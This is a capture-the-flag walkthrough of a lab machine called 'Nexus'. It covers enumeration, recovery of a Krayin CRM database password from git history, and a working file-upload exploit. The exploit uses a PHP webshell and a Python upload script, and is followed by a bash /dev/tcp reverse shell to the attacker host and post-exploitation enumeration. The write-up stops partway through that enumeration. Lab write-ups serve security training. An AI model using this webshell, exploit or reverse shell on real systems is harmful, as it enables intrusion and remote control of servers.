Nexus

Level: Easy
Date: 2026-09-30
VM IP: 10.129.116.70
Machine Information: ...


Task 1

How many TCP ports are listening on Nexus?

Command used:

nmap -p- --min-rate=5000 -T4 10.129.116.70

Output:

┌──(macc㉿kaliLab)-[~]
└─$ nmap -p- --min-rate=5000 -T4 10.129.116.70
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-03 05:11 -0600
Nmap scan report for 10.129.116.70
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.27 seconds

Answer: 2

Task 2

What is the hiring manager's full email address?

Now for the web side, since nginx redirected you to http://nexus.htb/, you'll need that hostname resolving first.

Step 1: Add the host entry

echo "10.129.116.70 nexus.htb" | sudo tee -a /etc/hosts

Step 2: Browse the site

curl -s http://nexus.htb/ | less

Or open it in the browser:
image-3.png
Step 3: If nothing obvious on the surface, enumerate directories/subdomains

gobuster dir -u http://nexus.htb/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Output:

┌──(macc㉿kaliLab)-[~]
└─$ gobuster dir -u http://nexus.htb/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nexus.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 49296]
index.html           (Status: 200) [Size: 49296]
Progress: 18452 / 18452 (100.00%)
===============================================================
Finished
===============================================================

And check for virtual host / subdomain enumeration too, since nexus.htb suggests there could be others (e.g. www.nexus.htb, dev.nexus.htb, staging.nexus.htb):

gobuster vhost -u http://nexus.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

Output:

┌──(macc㉿kaliLab)-[~]
└─$ gobuster vhost -u http://nexus.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://nexus.htb/
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
git.nexus.htb Status: 200 [Size: 14476]
billing.nexus.htb Status: 302 [Size: 390] [--> http://billing.nexus.htb/admin/login]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================

Step 4: Add both to /etc/hosts

echo "10.129.116.70 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

Step 5: Check out git.nexus.htb first

Status 200 with a decent size suggests a git hosting platform (Gitea/GitLab/Gogs are common on HTB easy boxes). Just browse to http://git.nexus.htb/ in your browser and see what it is. Look for:

Note billing.nexus.htb

Finding: Actually by clicking around the page I was able to find a job posting that lists the hiring manager email:
image-6.png

Answer: j.matthew@nexus.htb

Task 3

What is the name of the additional subdomain hosting the Git service discovered during enumeration of nexus.htb?

We already enumerated vhosts in #Task 2 and found out the vhost:

git.nexus.htb

Answer: git

Task 4

What is the DB_PASSWORD discovered while enumerating the exposed repository?

When we enter the directory:
image-5.png
We can see a .env file:

APP_NAME='Krayin CRM'
APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
VITE_HOST=
VITE_PORT=
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=
DB_PREFIX=
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com
MAIL_RECEIVER_DRIVER=sendgrid
IMAP_HOST=imap.nexus.htb
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=username1
IMAP_PASSWORD=password1
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

The current .env has DB_PASSWORD= blank — but that doesn't mean it was always empty. Since this is a git repo, the real move is to check the commit history for that file, since a password may have been set in an earlier commit and later blanked/rotated out.

Step 1: Clone the repo (if you haven't already)

git clone http://git.nexus.htb/<user_or_org>/<repo>.git
cd <repo>

Step 2: Check the commit history of the .env file specifically

git log --follow -p -- .env

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ git log --follow -p -- .env
commit 9b817fa4e073d12fc43952acb09f3067b2f17adf (HEAD -> main, origin/main, origin/HEAD)
Author: admin <admin@nexus.htb>
Date:   Thu Apr 23 18:05:22 2026 +0000

    Upload files to "/"

diff --git a/.env b/.env
index cb7ccc3..5ae1bb2 100644
--- a/.env
+++ b/.env
@@ -2,7 +2,7 @@ APP_NAME='Krayin CRM'
 APP_ENV=local
 APP_KEY=
 APP_DEBUG=true
-APP_URL=http://nexus.htb
+APP_URL=http://billing.nexus.htb
 APP_TIMEZONE=Asia/Kolkata
 APP_LOCALE=en
 APP_CURRENCY=USD
@@ -15,7 +15,7 @@ DB_HOST=krayin-mysql
 DB_PORT=3306
 DB_DATABASE=krayin
 DB_USERNAME=krayin
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
 DB_PREFIX=
 BROADCAST_DRIVER=log
 CACHE_DRIVER=file

commit 1615c465b74e5d7ad3162873382dd8b3869ca892
Author: admin <admin@nexus.htb>
Date:   Thu Apr 23 18:03:37 2026 +0000

    Upload files to "/"

diff --git a/.env b/.env
new file mode 100644
index 0000000..cb7ccc3
--- /dev/null

Answer: N27xh!!2ucY04

Task 5

What version of Krayin CRM is running on the billing subdomain?

Step 1: Check the login page / source for version hints

curl -s http://billing.nexus.htb/admin/login | grep -i -E "version|krayin"

Krayin sometimes leaks its version in page comments, meta tags, or footer text.

Step 2: Check common static asset paths for version strings

Laravel/Krayin apps often expose a composer.json, package.json, or changelog if directory listing or direct file access isn't locked down:

curl -s http://billing.nexus.htb/composer.json
curl -s http://billing.nexus.htb/package.json
curl -s http://billing.nexus.htb/CHANGELOG.md
curl -s http://billing.nexus.htb/readme.md

Step 3: Check the git repo you already have

Since you have the krayin-docker-setup repo cloned, check if it pins a version in docker-compose.yml (image tag) or if there's a composer.json/composer.lock in the repo:

cat docker-compose.yml | grep -i krayin
ls -la
find . -iname "composer*"

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ cat docker-compose.yml | grep -i krayin
  krayin-app:
    image: webkul/krayin:latest
      - krayin-mysql
      APP_NAME: "Krayin CRM"
      DB_HOST: krayin-mysql
      DB_DATABASE: krayin
      DB_USERNAME: krayin
  krayin-mysql:
      MYSQL_DATABASE: krayin
      MYSQL_USER: krayin
  krayin-phpmyadmin:
      PMA_HOST: krayin-mysql
      PMA_USER: krayin

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ ls -la
total 24
drwxrwxr-x  3 macc macc 4096 Oct  3 05:47 .
drwx------ 39 macc macc 4096 Oct  3 05:47 ..
-rw-rw-r--  1 macc macc 1145 Oct  3 05:47 docker-compose.yml
-rw-rw-r--  1 macc macc 1024 Oct  3 05:47 documents
-rw-rw-r--  1 macc macc 1110 Oct  3 05:47 .env
drwxrwxr-x  7 macc macc 4096 Oct  3 05:47 .git

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ find . -iname "composer*"

curl -I http://billing.nexus.htb/admin/login

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -I http://billing.nexus.htb/admin/login
\HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Sat, 03 Oct 2026 11:56:33 GMT
phpdebugbar-id: 01M40SZ0FDC8Z5RKV8CV3QFYDF
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlkvOWMzTStEa3VFNlZXUmQzdTNPM1E9PSIsInZhbHVlIjoiSUJiaS9NOXMvK1hYZ0NZSmJMdWYxTmZXSnJ0YWRMWnExMHVRU0VWOEw1L3JYQXd4NVJocEdrWkdWYjYzeDZJZG5yMlM4Q1RySGZQZDBWcWs4M2Fxd3ZlTzlFRngxTjhSbmtOaUpXaXNLa0dVL3U0L09HaE1zT1JyaDBHQjNPK3giLCJtYWMiOiJmZDVhNTJjZGJlZTk5Nzc4MGI2NzFmMzM2MWFiOTU1N2U2ZGJiMzY2YjI1M2E0NzY1OTIxNzY5YTIyNjYxYzg0IiwidGFnIjoiIn0%3D; expires=Sat, 03 Oct 2026 13:56:33 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: krayin_crm_session=eyJpdiI6Ik1SZTZzQkhnUmVpUDgzM1lXQksxekE9PSIsInZhbHVlIjoiTllsOWRLY1J4cVR4YWJGZ0oxVjd2MTlRbGtCdHBPUDYreW1UTFRDWFVLbWxzczZyMTd5RHN4RUxvOGc1K2VPMFQ0ZE1qWGxsYVp3ZVpSM0hhalpoalBQYUE2alJpUFd5LzVqT0FDam12bi9PMlg1bGRqVWxkaktuZzJBZ1cvekoiLCJtYWMiOiJhMzA0MjAxMDc0YmI2MGVmNGVlODM3YTk1YWZhMmEyZmZiYmQ0ZDBhOWI0MmVlNzlkMjJhNTAyNDY4OGViNzdjIiwidGFnIjoiIn0%3D; expires=Sat, 03 Oct 2026 13:56:33 GMT; Max-Age=7200; path=/; httponly; samesite=lax

The docker-compose.yml pins webkul/krayin:latest — no version number there.

Step 4: Check the rendered HTML/footer of the login page itself

Krayin typically shows a version string in the footer or page meta on the admin login screen. Try:

curl -s http://billing.nexus.htb/admin/login | grep -i -E "v[0-9]+\.[0-9]+|krayin.*version|footer"

Or just open it in Firefox and view-source, searching for "Krayin" — CRM login pages often have "Powered by Krayin vX.X.X" somewhere in the footer.

Step 5: Check for a composer.json with the Krayin package version

The git repo you cloned is just the docker-compose/env setup, not the actual CRM codebase, so composer.json won't be there. But the debugbar backtraces reveal the live app's path structure: /var/www/krayin/. If you can get RCE or LFI later this would help, but for now try:

curl -s http://billing.nexus.htb/admin/build/manifest.json
curl -s http://billing.nexus.htb/CHANGELOG.md
curl -s http://billing.nexus.htb/vendor/webkul/krayin-crm/composer.json

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s http://billing.nexus.htb/admin/build/manifest.json
{
  "node_modules/vue-cal/dist/drag-and-drop.es.js": {
    "file": "assets/drag-and-drop.es-JkAdgoaa.js",
    "name": "drag-and-drop.es",
    "src": "node_modules/vue-cal/dist/drag-and-drop.es.js",
    "isDynamicEntry": true
  },
  ...
curl -s http://billing.nexus.htb/admin/system-information
curl -s http://billing.nexus.htb/changelog

You still haven't looked inside that documents file in the git repo. Given its generic name, it could easily contain install notes, a version reference, or even credentials:

cat documents
file documents

Output:

documents: data

"data" from file just means it didn't match a known magic signature by extension — let's actually look at the bytes.

xxd documents | head -20

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ xxd documents | head -20
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Also worth trying directly on the CHANGELOG, since that curl didn't return results in your last output:

curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/CHANGELOG.md
curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/changelog.md
curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/readme.md

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/CHANGELOG.md
404

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/changelog.md
404

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/readme.md
404

And since you now have DB_PASSWORD=N27xh!!2ucY04 plus DB_USERNAME=krayin, DB_DATABASE=krayin — if MySQL (port 3306) or phpMyAdmin from that docker-compose is reachable (directly, or via another vhost/port you haven't enumerated yet), you could query the database directly for version info, e.g. a core_config or migrations table often stores it. Worth a quick port check:

nmap -p 3306,8080,8081 10.129.116.70

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ nmap -p 3306,8080,8081 10.129.116.70
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-03 06:20 -0600
Nmap scan report for nexus.htb (10.129.116.70)
Host is up (0.078s latency).

PORT     STATE  SERVICE
3306/tcp closed mysql
8080/tcp closed http-proxy
8081/tcp closed blackice-icecap

Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds

Other attempts:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/.git/HEAD
404
┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s http://billing.nexus.htb/vendor/composer/installed.json | head -50
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://billing.nexus.htb/admin/dashboard'" />

        <title>Redirecting to http://billing.nexus.htb/admin/dashboard</title>
    </head>
    <body>
        Redirecting to <a href="http://billing.nexus.htb/admin/dashboard">http://billing.nexus.htb/admin/dashboard</a>.
    </body>
</html>
┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -s -o /dev/null -w "%{http_code}\n" http://billing.nexus.htb/composer.lock
404

Finding: Tried logging to billing.nexus.htb in with the information we know by the previous tasks:

Answer: 2.2.0

Task 6

What CVE affects Krayin CRM version 2.2.0, allowing unrestricted PHP file upload leading to remote code execution?

I just google this question and the first answer points to: CVE-2026-38526
image-9.png

Answer: CVE-2026-38526

Task 7

What is the password for jones discovered during post-exploitation?

Step 1: Build and send the webshell via CVE-2026-38526

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Next, note how the request header looks like when visiting the login page:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl -I http://billing.nexus.htb/admin/login
\HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Cache-Control: no-cache, private
Date: Sat, 03 Oct 2026 11:56:33 GMT
phpdebugbar-id: 01M40SZ0FDC8Z5RKV8CV3QFYDF
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlkvOWMzTStEa3VFNlZXUmQzdTNPM1E9PSIsInZhbHVlIjoiSUJiaS9NOXMvK1hYZ0NZSmJMdWYxTmZXSnJ0YWRMWnExMHVRU0VWOEw1L3JYQXd4NVJocEdrWkdWYjYzeDZJZG5yMlM4Q1RySGZQZDBWcWs4M2Fxd3ZlTzlFRngxTjhSbmtOaUpXaXNLa0dVL3U0L09HaE1zT1JyaDBHQjNPK3giLCJtYWMiOiJmZDVhNTJjZGJlZTk5Nzc4MGI2NzFmMzM2MWFiOTU1N2U2ZGJiMzY2YjI1M2E0NzY1OTIxNzY5YTIyNjYxYzg0IiwidGFnIjoiIn0%3D; expires=Sat, 03 Oct 2026 13:56:33 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: krayin_crm_session=eyJpdiI6Ik1SZTZzQkhnUmVpUDgzM1lXQksxekE9PSIsInZhbHVlIjoiTllsOWRLY1J4cVR4YWJGZ0oxVjd2MTlRbGtCdHBPUDYreW1UTFRDWFVLbWxzczZyMTd5RHN4RUxvOGc1K2VPMFQ0ZE1qWGxsYVp3ZVpSM0hhalpoalBQYUE2alJpUFd5LzVqT0FDam12bi9PMlg1bGRqVWxkaktuZzJBZ1cvekoiLCJtYWMiOiJhMzA0MjAxMDc0YmI2MGVmNGVlODM3YTk1YWZhMmEyZmZiYmQ0ZDBhOWI0MmVlNzlkMjJhNTAyNDY4OGViNzdjIiwidGFnIjoiIn0%3D; expires=Sat, 03 Oct 2026 13:56:33 GMT; Max-Age=7200; path=/; httponly; samesite=lax

You'll need a valid session + CSRF token. Easiest is to log in via browser first, grab cookies from dev tools (Network tab → any request → copy XSRF-TOKEN and krayin_crm_session cookie values), or script the full login flow. Quick version with curl:

# Get login page, extract CSRF token + cookies
curl -c cookies.txt -s http://billing.nexus.htb/admin/login -o login.html
CSRF=$(grep -oP 'name="_token" value="\K[^"]+' login.html)

# Log in
curl -b cookies.txt -c cookies.txt -s -X POST http://billing.nexus.htb/admin/login \
  -d "_token=$CSRF&email=j.matthew@nexus.htb&password=N27xh!!2ucY04" \
  -L -o /dev/null

# Get a fresh token for the upload request (Laravel often needs a per-request token from a loaded page)
curl -b cookies.txt -c cookies.txt -s http://billing.nexus.htb/admin/dashboard -o dash.html 
XSRF=$(grep -oP 'XSRF-TOKEN=\K[^;]+' cookies.txt)

# Upload the webshell
curl -b cookies.txt -s -X POST http://billing.nexus.htb/admin/tinymce/upload \
  -H "X-XSRF-TOKEN: $XSRF" \
  -F "file=@shell.php;type=image/jpeg"

Output:

...
<title>Page Expired</title>
...

"Page Expired" = HTTP 419, a CSRF token mismatch. This is a common gotcha with Laravel's CSRF handling in curl — the XSRF-TOKEN cookie is URL-encoded, and you need to decode it before sending it back as the X-XSRF-TOKEN header. A plain grep pulls the raw encoded value (with %3D etc. in it), which won't match.

Easiest fix: switch to Python with requests, which handles cookie/session state correctly:

import requests
import re

s = requests.Session()
base = "http://billing.nexus.htb"

# Step 1: Get login page, extract CSRF token
r = s.get(f"{base}/admin/login")
token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)

# Step 2: Log in
r = s.post(f"{base}/admin/login", data={
    "_token": token,
    "email": "j.matthew@nexus.htb",
    "password": "N27xh!!2ucY04"
})

# Step 3: Laravel sets XSRF-TOKEN cookie automatically (requests decodes it for us)
xsrf_token = s.cookies.get("XSRF-TOKEN")

# Step 4: Upload the webshell
with open("shell.php", "rb") as f:
    files = {"file": ("shell.jpg", f, "image/jpeg")}
    headers = {"X-XSRF-TOKEN": requests.utils.unquote(xsrf_token)}
    r = s.post(f"{base}/admin/tinymce/upload", files=files, headers=headers)

print(r.status_code)
print(r.text)

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ python3 exploit.py
200
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/301ac555087dcfccd07063ea65fd3009.jpg"}

Why this works better than raw curl: requests.Session() properly tracks cookies across redirects, and requests.utils.unquote() decodes the URL-encoded XSRF cookie value so it matches what Laravel's middleware expects in the header.

The file got stored with a .jpg extension — that's because we named the upload shell.jpg in the Python files tuple. The vulnerability trusts the client-supplied filename, so we need to actually send it as shell.php (just keep the spoofed Content-Type: image/jpeg to bypass MIME-type validation, but let the filename itself end in .php).

with open("shell.php", "rb") as f:
    files = {"file": ("shell.php", f, "image/jpeg")}  # filename ends in .php now
    headers = {"X-XSRF-TOKEN": requests.utils.unquote(xsrf_token)}
    r = s.post(f"{base}/admin/tinymce/upload", files=files, headers=headers)

print(r.status_code)
print(r.text)

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ python3 exploit.py
200
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/36db54b8d3e340bb50562ef92df9fa02.php"}

Once you get the new .php URL back, trigger it:

curl "http://billing.nexus.htb/storage/tinymce/36db54b8d3e340bb50562ef92df9fa02.php?cmd=id"

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ curl "http://billing.nexus.htb/storage/tinymce/36db54b8d3e340bb50562ef92df9fa02.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution confirmed as www-data. Let's upgrade to a proper interactive reverse shell so you can do real post-exploitation (file reads, process inspection, etc. — much harder to do cleanly through one-off curl ?cmd= calls).

Step 1: Start a listener on your attack box

nc -lvnp 4444

Step 2: Find your VPN IP (the one your HTB VPN assigns you, reachable by the target)

ip a | grep tun0

Step 3: Trigger a reverse shell via the webshell

URL-encode a bash reverse shell one-liner and hit it with curl (replace <YOUR_TUN0_IP>):

curl -G "http://billing.nexus.htb/storage/tinymce/36db54b8d3e340bb50562ef92df9fa02.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.15.230/4444 0>&1'"

This should hang (that's expected — it's holding the connection open as a persistent shell session), and your nc listener should catch the incoming connection.

Output:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.230] from (UNKNOWN) [10.129.116.70] 35818
bash: cannot set terminal process group (1432): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$

Step 4: Stabilize the shell (optional but recommended)

Once connected in your nc listener:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Then on your attacker machine:

stty raw -echo; fg

Step 5: Begin post-exploitation enumeration for jones's password

Once stabilized, run the checks from before:

cat /etc/passwd | grep jones
find / -user jones 2>/dev/null -not -path "/proc/*" 2>/dev/null
ls -la /var/www/krayin/storage/logs/
grep -r "jones" /var/www/krayin/.env /var/www/krayin/storage/ 2>/dev/null
find / -iname "*.bak" -o -iname "*backup*" -o -iname "*.sql" 2>/dev/null | grep -v proc
cat /var/mail/* 2>/dev/null
crontab -l 2>/dev/null
ls -la /var/www/krayin/
ls -la /home/

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ cat /etc/passwd | grep jones
jones:x:1000:1000:,,,:/home/jones:/bin/bash

www-data@nexus:~/krayin/storage/app/public/tinymce$ find / -user jones 2>/dev/null -not -path "/proc/*" 2>/dev/null
find / -user jones 2>/dev/null -not -path "/proc/*" 2>/dev/null
/home/jones

www-data@nexus:~/krayin/storage/app/public/tinymce$ ls -la /var/www/krayin/storage/logs/
ls -la /var/www/krayin/storage/logs/
total 12
drwxrwxr-x 2 www-data www-data 4096 May 12 12:06 .
drwxrwxr-x 6 www-data www-data 4096 May 12 12:06 ..
-rwxrwxr-x 1 www-data www-data   14 Mar 17  2026 .gitignore

www-data@nexus:~/krayin/storage/app/public/tinymce$ grep -r "jones" /var/www/krayin/.env /var/www/krayin/storage/ 2>/dev/null grep -r "jones" /var/www/krayin/.env /var/www/krayin/storage/ 2>/dev/null

www-data@nexus:~/krayin/storage/app/public/tinymce$ grep -r "jones" /var/www/krayin/.env /var/www/krayin/storage/ 2>/dev/null grep -r "jones" /var/www/krayin/.env /var/www/krayin/storage/ 2>/dev/null www-data@nexus:~/krayin/storage/app/public/tinymce$ find / -iname "*.bak" -o -iname "*backup*" -o -iname "*.sql" 2>/dev/null | grep -v proc find / -iname "*.bak" -o -iname "*backup*" -o -iname "*.sql" 2>/dev/null | grep -v proc /var/backups /var/lib/systemd/deb-systemd-helper-enabled/dpkg-db-backup.timer.dsh-also /var/lib/systemd/deb-systemd-helper-enabled/timers.target.wants/dpkg-db-backup.timer /var/lib/systemd/timers/stamp-dpkg-db-backup.timer /var/www/krayin/vendor/phpunit/phpunit/src/Metadata/ExcludeStaticPropertyFromBackup.php /var/www/krayin/vendor/phpunit/phpunit/src/Metadata/BackupStaticProperties.php /var/www/krayin/vendor/phpunit/phpunit/src/Metadata/ExcludeGlobalVariableFromBackup.php /var/www/krayin/vendor/phpunit/phpunit/src/Metadata/BackupGlobals.php /var/www/krayin/vendor/phpunit/phpunit/src/Framework/Attributes/ExcludeStaticPropertyFromBackup.php /var/www/krayin/vendor/phpunit/phpunit/src/Framework/Attributes/BackupStaticProperties.php /var/www/krayin/vendor/phpunit/phpunit/src/Framework/Attributes/ExcludeGlobalVariableFromBackup.php /var/www/krayin/vendor/phpunit/phpunit/src/Framework/Attributes/BackupGlobals.php /var/www/krayin/vendor/phpunit/phpunit/src/TextUI/Configuration/Xml/Migration/Migrations/RenameBackupStaticAttributesAttribute.php /var/www/krayin/vendor/laravel/sail/database/pgsql/create-testing-database.sql /var/www/krayin/vendor/php-debugbar/php-debugbar/src/DebugBar/Storage/pdo_storage_schema.sql /etc/systemd/system/timers.target.wants/dpkg-db-backup.timer /etc/.resolv.conf.systemd-resolved.bak /usr/share/perl5/Debconf/DbDriver/Backup.pm /usr/share/mysql/uninstall_rewriter.sql /usr/share/mysql/install_rewriter.sql /usr/share/mysql/debian_create_root_user.sql /usr/share/mysql/innodb_memcached_config.sql /usr/share/man/man8/vgcfgbackup.8.gz /usr/share/man/man8/cryptsetup-luksHeaderBackup.8.gz /usr/share/bash-completion/completions/vgcfgbackup /usr/src/linux-headers-6.8.0-106-generic/include/config/NET_TEAM_MODE_ACTIVEBACKUP /usr/src/linux-headers-6.8.0-106-generic/include/config/WM831X_BACKUP /usr/src/linux-headers-6.8.0-106/tools/testing/selftests/net/test_bridge_backup_port.sh /usr/src/linux-headers-6.8.0-106/tools/testing/selftests/net/tcp_fastopen_backup_key.sh /usr/src/linux-headers-6.8.0-111-generic/include/config/NET_TEAM_MODE_ACTIVEBACKUP /usr/src/linux-headers-6.8.0-111-generic/include/config/WM831X_BACKUP /usr/src/linux-headers-6.8.0-111/tools/testing/selftests/net/test_bridge_backup_port.sh /usr/src/linux-headers-6.8.0-111/tools/testing/selftests/net/tcp_fastopen_backup_key.sh /usr/lib/modules/6.8.0-106-generic/kernel/drivers/net/team/team_mode_activebackup.ko.zst /usr/lib/modules/6.8.0-106-generic/kernel/drivers/power/supply/wm831x_backup.ko.zst /usr/lib/modules/6.8.0-111-generic/kernel/drivers/net/team/team_mode_activebackup.ko.zst /usr/lib/modules/6.8.0-111-generic/kernel/drivers/power/supply/wm831x_backup.ko.zst /usr/lib/systemd/system/dpkg-db-backup.timer /usr/lib/systemd/system/dpkg-db-backup.service /usr/lib/mysql/plugin/component_mysqlbackup.so /usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-312.pyc /usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py /usr/lib/python3/dist-packages/botocore/data/backupstorage /usr/lib/python3/dist-packages/botocore/data/backup-gateway /usr/lib/python3/dist-packages/botocore/data/backup /usr/sbin/vgcfgbackup /usr/libexec/dpkg/dpkg-db-backup

www-data@nexus:~/krayin/storage/app/public/tinymce$ cat /var/mail/* 2>/dev/null cat /var/mail/* 2>/dev/null

www-data@nexus:~/krayin/storage/app/public/tinymce$ crontab -l 2>/dev/null crontab -l 2>/dev/null

www-data@nexus:~/krayin/storage/app/public/tinymce$ ls -la /var/www/krayin/
ls -la /var/www/krayin/
total 568
drwxr-xr-x 14 www-data www-data   4096 May 12 12:06 .
drwxr-xr-x  4 root     root       4096 May 12 12:06 ..
-rw-r--r--  1 www-data www-data    220 Mar 17  2026 .editorconfig
-rw-r--r--  1 www-data www-data   1195 Apr 22 22:50 .env
-rw-r--r--  1 www-data www-data   1124 Mar 17  2026 .env.example
-rw-r--r--  1 www-data www-data    186 Mar 17  2026 .gitattributes
-rw-r--r--  1 www-data www-data    455 Mar 17  2026 .gitignore
-rw-r--r--  1 www-data www-data   3353 Mar 17  2026 CODE_OF_CONDUCT.md
-rw-r--r--  1 www-data www-data   1078 Mar 17  2026 LICENSE
-rw-r--r--  1 www-data www-data   5920 Mar 17  2026 README.md
